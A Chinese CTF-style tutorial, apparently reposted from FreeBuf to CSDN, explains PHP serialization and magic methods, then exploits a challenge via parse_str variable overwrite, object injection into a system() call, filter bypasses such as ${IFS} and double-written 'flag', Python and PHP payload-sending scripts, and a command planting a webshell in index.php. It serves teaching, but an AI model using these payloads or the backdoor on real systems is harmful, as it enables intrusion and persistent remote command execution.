代码编织梦想

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

要学习PHP反序列漏洞,先了解下PHP序列化和反序列化是什么东西。

php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize。

序列化

举个栗子:<?php

class Test{

public$a = 'ThisA';

protected$b = 'ThisB';

private$c = 'ThisC';

publicfunction test1(){

return'this is test1 ';

}

}

$test = new Test();

var_dump(serialize($test));

?>

输出:

1b55897324b744dd32be2c280f9d3243.png

解释一下:

O代表是对象;:4表示改对象名称有4个字符;:”Test”表示改对象的名称;:3表示改对象里有3个成员。

接着是括号里面的。我们这个类的三个成员变量由于变量前的修饰不同,在序列化出来后显示的也不同。

第一个变量a序列化后为 s:1:”a”;s:5:”ThisA”;

由于变量是有变量名和值的。所以序列化需要把这两个都进行转换。序列化后的字符串以分号分割每一个变量的特性。

这个要根据分号来分开看,分号左边的是变量名,分号右边的是变量的值。

先看左边的。其实都是同理的。s表示是字符串,1表示该字符串中只有一个字符,”a”表示该字符串为a。右边的同理可得。

第二个变量和第一个变量有所不同,多了个乱码和 * 号。这是因为第一个变量a是public属性,而第二个变量b是protected属性,php为了区别这些属性所以进行了一些修饰。这个乱码查了下资料,其实是 %00(url编码,hex也就是0x00)。表示的是NULL。所以protected属性的表示方式是在变量名前加个%00*%00

第三个变量的属性是private。表示方式是在变量名前加上%00类名%00

可以看到虽然Test类中有test1这个方法,但是序列化后的字符串中并没有包含这个方法的信息。所以序列化不保存方法。

反序列化<?php

class Test{

public$a = 'ThisA';

protected$b = 'ThisB';

private$c = 'ThisC';

publicfunction test1(){

return'this is test1 ';

}

}

$test = new Test();

$sTest = serialize($test);

$usTest = unserialize($sTest);

var_dump($usTest);

?>

输出:

20164fd4f0589ea39ee915c9305ee13d.png

可以看到类的成员变量被还原了,但是类方法没有被还原,因为序列化的时候就没保存方法。

魔术方法

大概了解了php序列化和序列化的过程,那么就来介绍一下相关的魔术方法。__construct 当一个对象创建时被调用

__destruct 当一个对象销毁时被调用

__toString 当一个对象被当作一个字符串使用

__sleep 在对象被序列化之前运行

__wakeup 在对象被反序列化之后被调用

直接举栗子吧:<?php

classTest{

public function __construct(){

echo 'construct run';

}

public function __destruct(){

echo 'destruct run';

}

public function __toString(){

echo 'toString run';

}

public function __sleep(){

echo 'sleep run';

}

public function __wakeup(){

echo 'wakeup run';

}

}

/**/

echo'new了一个对象,对象被创建,执行__construct';

$test= new Test();

/**/

echo'serialize了一个对象,对象被序列化,先执行__sleep,再序列化';

$sTest= serialize($test);

/**/

echo'unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup';

$usTest= unserialize($sTest);

/**/

echo'把Test这个对象当做字符串使用了,执行__toString';

$string= 'hello class ' . $test;

/**/

echo'程序运行完毕,对象自动销毁,执行__destruct';

?>

输出:

cd6481a41cc2f6635b4717b95125b01d.png

可以看到有一个警告一个报错,是因为__sleep函数期望能return一个数组,而__toString函数则必须返回一个字符串。由于我们都是echo的没有写return,所以引发了这些报错,那么我们就按照报错的来,要什么加什么。

58123fe4e089688248b0c61526cc2538.png

输出:

0637e0220280146776257327dabdbb04.png

现在只需要明白这5个魔法函数的执行顺序即可,至于里面的代码就要看程序员或者出题人怎么写了。。。对于__construct函数的话我个人认为好像莫有多大用。。也许是我菜吧。。感觉没有什么地方能在反序列化的时候用上。欢迎大佬指点。

一道题目引发的技巧小结

了解了反序列化的基础和一些魔法函数后,我们来看到题吧。该题不仅考了反序列化,还简单考察了一下变量覆盖和命令注入的正则绕过。其中有一些坑我们可以看一下。

源码很简单:<?php

error_reporting(0);

class come{

private $method;

private $args;

function __construct($method, $args) {

$this->method = $method;

$this->args = $args;

}

function __wakeup(){

foreach($this->args as $k => $v) {

$this->args[$k] = $this->waf(trim($v));

}

}

function waf($str){

$str=preg_replace("/[<>*;|?\n ]/","",$str);

$str=str_replace('flag','',$str);

return $str;

}

function echos($host){

system("echos $host".$host);

}

function __destruct(){

if (in_array($this->method, array("echos"))) {

call_user_func_array(array($this, $this->method), $this->args);

}

}

}

$first='hi';

$var='var';

$bbb='bbb';

$ccc='ccc';

$i=1;

foreach($_GET as $key => $value) {

if($i===1)

{

$i++;

$$key = $value;

}

else{break;}

}

if($first==="doller")

{

@parse_str($_GET['a']);

if($var==="give")

{

if($bbb==="me")

{

if($ccc==="flag")

{

echo"
welcome!
";

$come=@$_POST['come'];

unserialize($come);

}

}

else

{echo "
think about it
";}

}

else

{

echo "NO";

}

}

else

{

echo "Can you hack me?
";

}

?>

拿到源码我们先简单浏览一下,看到parse_str就想到了用变量覆盖来过这些if语句,而parse_str的参数是通过GET请求中的a参数中获得,parse_str进行变量分割的符号是 & 号,没怎么多想就直接先打上一手请求先:?first=doller&a=var=give&bbb=me&ccc=flag

我原本的意愿是希望这样子被解析?first=doller&a=var=give&bbb=me&ccc=flag

希望红字是一个整体,是一个字符串,是a这个参数的值。总共的GET参数就两个,一个first一个a。但php解析的是。。。?first=doller&a=var=give&bbb=me&ccc=flag

即有4个参数,a的值是var=give,但遇到&号在url中就被解析成了GET参数的分割符,认为bbb=me是一个新的GET的参数。

不过好在有URL编码这种东西,可以在这有歧义的时候扭转局势,我们把&号进行URL编码,这样子解析时就会认为是一个字符串了。URL编码可以用php的urlencode函数。得到&的URL编码为%26。构造请求:?first=doller&a=var=give%26bbb=me%26ccc=flag

看到了欢迎字样:

9d6faa069dee5da488e39d0115f56247.png

查看代码,发现到了反序列化的地方了。而反序列化的来源是通过POST提交的come参数

450c7a7108d25dac53b016799068a27f.png

知道了要反序列化,接下来就是确定要反序列化的类了。这个源码就一个类come。对这个类进行审计。

__construct感觉没什么用,先扔在一边,重点看__wakeup和__destruct函数,__wakeup是调用了一个waf函数,用来做正则过滤的,这个我们先放一下,我们看__destruct函数,它使用了call_user_func_array这个php内置的方法,作用是调用一个指定方法。举个这个函数的简单栗子:

134b1db60c358337201dd28a50597906.png

第一个参数是要调用的函数,第二个参数是一个数组,用于给调用的函数传参。数组中第一个值就是函数中的第一个参数,以此类推。

但是题目中的call_user_func_array中的第一个参数是个数组,这什么意思呢。。?

aa1fe7757cebf14ce112ff8698c602a3.png

数组的话就是数组的第一个元素表示是该方法所在的类,第二个元素就是方法名。

我们来看看这个类的成员变量吧,在可以反序列化后,就要明白这个类中的所有成员变量都是我们可控的,所以call_user_func_array()中的$this->method和$this->args也就是我们可控的。不过由于执行这个函数要通过一个if,且调用的函数必须是本类的函数,那我们就只能看看本类中还有什么方法吧。

我们看看进入call_user_func_array()函数前的if判断,它判断我们要调用的函数名是否在一个允许调用的列表里,而这个列表就只有echos这一个函数,也就是说我们的method变量已经限定死了,必须为echos。

那么我们只能去看看echos函数里有什么了,居然有system函数

09a078d699bd04477ebbb4feef2d4471.png

那么我们就可以进行命令注入了,可以看到echos函数就只有一个形参,结合上面我们说到的call_user_func_array()函数,就形成了这样一个思路:1、通过反序列化控制method和args两个成员变量

2、 method必须是echos不然通不过if判断

3、通过call_user_func_array()函数第一个参数调用本类中的echos方法,第二个参数给方法传参-

4、由于echos方法中的system函数的参数是拼接形参的,完成命令注入。

思路有了,那么我们看看args变量要怎么写吧。根据执行顺序,先wakeup再destruct(由于是反序列化的,不会执行construct,只有new才会执行construct)。那么我们看看wakeup中又进行了什么操作

11096924a9b4364e2dd7b1aea8532592.png

可以看到它默认将args变量视为一个数组,对其进行了foreach,然后又对数组中的每个元素送去了waf进行过滤。这表明我们传入的args是一个数组。

再来看看waf函数是干嘛的。

8e32d5c6a21daabb54e71d257b83a4b1.png

第一行,正则匹配args的元素,如果元素中出现将斜杠/之间的任意一个字符,就将他们替换为空。这里过滤了|符号,这个有点伤,因为命令中是通过|进行管道的操作,在命令注入时用|进行拼接很有用,不过即使它禁用了,我们还可以通过& 达到多个命令一行执行的目的。

第二行,如果args中的元素中存在flag这个字符串,替换为空,也就是说我们要读取flag文件时要通过双写flag进行绕过。

这里注意一下system函数,有个坑。。。

fd1e4213ab6d11528d570018d3f59ea1.png

echo写错写成了echos。。。。即这个命令本身就是错的,所以选择命令的分隔符要慎重。

资料:&是不管前后命令是否执行成功都会执行前后命令

&&是前面的命令执行成功才能执行后面的命令

||是前面的命令执行不成功才能执行后面的命令

|管道符

所以我们要使用&符而不能使用&&。

0beeff355b475456a74e1a708bb5bb61.png

6ae63bf64299fd22a38e5ec47b3332c6.png

复制这一串序列化字符串到Postman上,然后既然我们都拿到源码了,我们把第2行的error_reporting(0);先注释起来,这个意思是抑制报错,这对我们调试代码很不友好,把报错打开才能更快找到问题所在。

a451fdf819638041182b4f9cc45cc27d.png

发送payload,emmm…… no responose?

b547770eab39e8643ccb47a8d132476d.png

在这里思来想去,折腾了一下,后面通过var_dump才找到问题源头(var_dump大法好)

c3c88f0bf22e258dfa233c77d2b7c9f5.png

c6db63e86718b6c2972395728dd6d7e2.png

前面刚说了要注意类型。。。private和protected的变量名前都是有0x00的。。。echo的输出由于是NULL就空过去了,但是没有逃过var_dump的法眼(var_dump大法好)

那么我们就要手动添加0x00上去了,这里可以用python、php等编程语言将0x00转换成字符然后再通过他们自己的网络模块发送,

栗子:

python:(2.7)

通过decode和encode来进行编码

8930c42d12ea8796329a911ea77105e7.pngimport requests

s = requests.session()

n = '00'.decode('hex')

o = 'O:4:"come":2:{s:12:"'+n+'come'+n+'method";s:5:"echos";s:10:"'+n+'come'+n+'args";a:1:{i:0;s:3:"&ls";}}'

r = requests.post(url,data={"come":o})

print(r.text)

php:

通过urldecode进行对%00进行解码<?php

$curl = curl_init();

curl_setopt($curl,CURLOPT_POST, 1);

$n = urldecode('%00');

$o = 'O:4:"come":2:{s:12:"'.$n.'come'.$n.'method";s:5:"echos";s:10:"'.$n.'come'.$n.'args";a:1:{i:0;s:3:"&ls";}}';

curl_setopt($curl,CURLOPT_POSTFIELDS, ['come'=>$o]);

curl_exec($curl);

curl_close($curl);

?>

不过有更快的方法。。。直接通过postman的urlencode/urldecode即可。因为0x00也就是url编码中的%00。所以url编码一下就完事。

b942177e22fdab3d54249ff90407e654.png

要用%00包裹住类名,不能包多了也不能包少了,虽然%00也算一个字符,但是Php序列化的时候已经帮我们算好了,所以不需要修改,或者说,我们之前的那个长度值就是错的。。。

选中%00,右键,选择decode即可。

结果:

56930b6a7b232f6360429767abeea3b4.png

我们再发送,有response了,

8f4fe5d61a7e7dcc0d02f01f054414d4.png

发现有flag.txt。由于我是windows环境,读取文件使用type命令。

type命令格式:type文件路径

修改payload。

d0177e68c57f9a2eb508bc2d122b857d.png

发现无回显

989fe9ba4182825b3a58506b56349bac.png

命令是对的,是因为刚刚我们忽略的waf函数在作怪。刚刚提到wakup时将每个args变量拿去在waf函数中洗了个澡。过滤内容为:

bdb016e65de470e51edf92b11068d3ac.png

flag这个字符串被替换为空,可以通过双写flag来绕过:flflagag

不过在第一个正则中过滤了空格就有点难受了,总所周知系统命令都是要打个空格才能添加参数的,过滤了空格怎么破?

思来想去后,发现windows没有人提供资料,但是linux下有很多。

绕过方法:

!! (最好一开始就先用这个,执行上一条命令,也许有奇效。。)

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat

cat<>flag.txt

{cat,flag.txt}

KG=$'\x20flag.txt'&&cat$KG (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

随便用一个(linux环境下):

30368800c1efb060e12999f00bc37c31.png

windows环境下的话时我突发奇想随便试出来的。适用性不是很广,也就type这个命令能用用。。type.\flag.txt

type,flag.txt

echo,123456

fd7b3369ccaef562f9ab0004d04f0d5e.png

echo的话这个如果脑洞大点可以通过echo >>的方式将一句话追加到php文件末尾,达到getShell的目的。不过这样子如果该php文件很规范的用了?>结尾就莫得,如果没有那么规范,没用?>结尾就可以成功。

示例:

echo,@system($_GET['cmd']);>>index.php

67ad5dd55691f8a9a77ecbd09df38b9d.png

然后就可以通过新的后门来getshell了。

*本文作者:xiaopan233,本文属 FreeBuf 原创奖励计划,未经许可禁止转载

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_36411269/article/details/114620065

php中序列化函数serialize($arr) 和反序列化函数unserialize($info)_不负好时光1001的博客-爱代码爱编程

序列化与反序列化 把复杂的数据类型压缩到一个字符串中 serialize() 把变量和它们的值编码成文本形式 unserialize()恢复原先变量 1.创建一个$arr数组用于储存用户基本信息,并在浏览器中输出查看结果; 2.将$arr数组进行序列化赋值给$info字符串,并在浏览器中输出查看结果; 使用序列化serial

php反序列化漏洞学习总结_brucetg的博客-爱代码爱编程

  一直以来总是觉得对PHP反序列化漏洞的理解比较模糊,今天抽时间深入学习下PHP反序列化漏洞的成因以及利用方式,在此做一个总结。    参考链接:              http://bobao.360.cn/learning/detail/3193.html       http://blog.csdn.net/qq_32400

反序列化漏洞汇总_weixin_29324013的博客-爱代码爱编程_常见的反序列化漏洞

反序列化漏洞汇总 1、概述 序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。   Java 序列化是指把 Java 对象转换为字节序列的过程,便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java

python之序列化以及反序列化-爱代码爱编程

序列化和反序列化的理解: 序列化:把对象(变量)从内存中变成可存储或者传输的过程,在python中叫pickling,序列化之后,就可以把序列化之后的内容存储到磁盘或者通过网络传输到其他机器上。 反序列化:从磁盘中将序列化后的内容读取到内存中 称为unpickling 经常作为序列化以及反序列化的几个模块:json  pickle   shelve

PHP反序列化漏洞——漏洞原理及防御措施-爱代码爱编程

序列化   将对象转换成字符串 反序列化 将特定格式的字符串转换成对象什么是反序列化漏洞 PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程

python反序列化的一些技巧-爱代码爱编程

写入全局变量 有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应。 import pickle import pickletools import base64 paylo

Python序列化和反序列化使用以及部分漏洞利用-爱代码爱编程

Python序列化和反序列化使用以及部分漏洞利用 最近研究了一下java和python的反序列化方面的漏洞,觉得很有意思,来做一个小小的总结,(PS:以前的博客停用了,现在在CSDN上继续更新,以前的文章会慢慢的搬过来) 一.序列化与反序列化 序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化。用

python php 序列化,序列化和反序列化的详细介绍-爱代码爱编程

一、序列化和反序列化的概念 把对象转换为字节序列的过程称为对象的序列化。 把字节序列恢复为对象的过程称为对象的反序列化。 对象的序列化主要有两种用途: 1) 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中; 2) 在网络上传送对象的字节序列。 在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。

python 序列化 php,详解Python中的序列化与反序列化的使用-爱代码爱编程

学习过marshal模块用于序列化和反序列化,但marshal的功能比较薄弱,只支持部分内置数据类型的序列化/反序列化,对于用户自定义的类型就无能为力,同时marshal不支持自引用(递归引用)的对象的序列化。所以直接使用marshal来序列化/反序列化可能不是很方便。还好,python标准库提供了功能更加强大且更加安全的pickle和cPickle模